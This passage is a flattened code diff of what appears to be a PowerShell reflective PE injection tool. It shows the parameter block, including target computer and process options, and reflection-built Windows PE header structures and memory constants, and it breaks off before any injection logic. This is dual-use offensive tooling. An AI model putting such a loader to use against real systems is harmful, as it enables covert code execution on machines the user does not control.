SQL server: http://www.casaba.com/blog/ + + #> + + [CmdletBinding()] + Param( + [Parameter(Mandatory = $true)] + [Byte[]] + $Bytes32, + + [Parameter(Mandatory = $true)] + [Byte[]] + $Bytes64, + + [Parameter(Position = 1)] + [String[]] + $ComputerName, + + [Parameter(Position = 2)] + [ValidateSet( 'WString', 'String', 'Void' )] + [String] + $FuncReturnType = 'Void', + + [Parameter(Position = 3)] + [String] + $ExeArgs, + + [Parameter(Position = 4)] + [Int32] + $ProcId, + + [Parameter(Position = 5)] + [String] + $ProcName + ) + + Set-StrictMode -Version 2 + + + $RemoteScriptBlock = { + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $false)] + [String] + $FuncReturnType, + + [Parameter(Position = 2, Mandatory = $false)] + [Int32] + $ProcId, + + [Parameter(Position = 3, Mandatory = $false)] + [String] + $ProcName + ) + + ################################### + ########## Win32 Stuff ########## + ################################### + Function Get-Win32Types + { + $Win32Types = New-Object System.Object + + #Define all the structures/enums that will be used + # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html + $Domain = [AppDomain]::CurrentDomain + $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) + $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + + + ############ ENUM ############ + #Enum MachineType + $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null + $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null + $MachineType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType + + #Enum MagicType + $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null + $MagicType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType + + #Enum SubSystemType + $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null + $SubSystemType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType + + #Enum DllCharacteristicsType + $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null + $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null + $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null + $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null + $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null + $DllCharacteristicsType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType + + ########### STRUCT ########### + #Struct IMAGE_DATA_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) + ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null + $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY + + #Struct IMAGE_FILE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null + $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER + + #Struct IMAGE_OPTIONAL_HEADER64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null + $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 + + #Struct IMAGE_OPTIONAL_HEADER32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 + + #Struct IMAGE_NT_HEADERS64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null + $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 + + #Struct IMAGE_NT_HEADERS32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null + $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 + + #Struct IMAGE_DOS_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) + $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null + + $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) + $e_resField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null + + $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) + $e_res2Field.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null + $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER + + #Struct IMAGE_SECTION_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) + + $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) + $nameField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER + + #Struct IMAGE_BASE_RELOCATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null + $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION + + #Struct IMAGE_IMPORT_DESCRIPTOR + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null + $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR + + #Struct IMAGE_EXPORT_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null + $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY + + #Struct LUID + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LUID = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID + + #Struct LUID_AND_ATTRIBUTES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) + $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES + + #Struct TOKEN_PRIVILEGES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) + $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null + $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES + + return $Win32Types + } + + Function Get-Win32Constants + { + $Win32Constants = New-Object System.Object + + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY 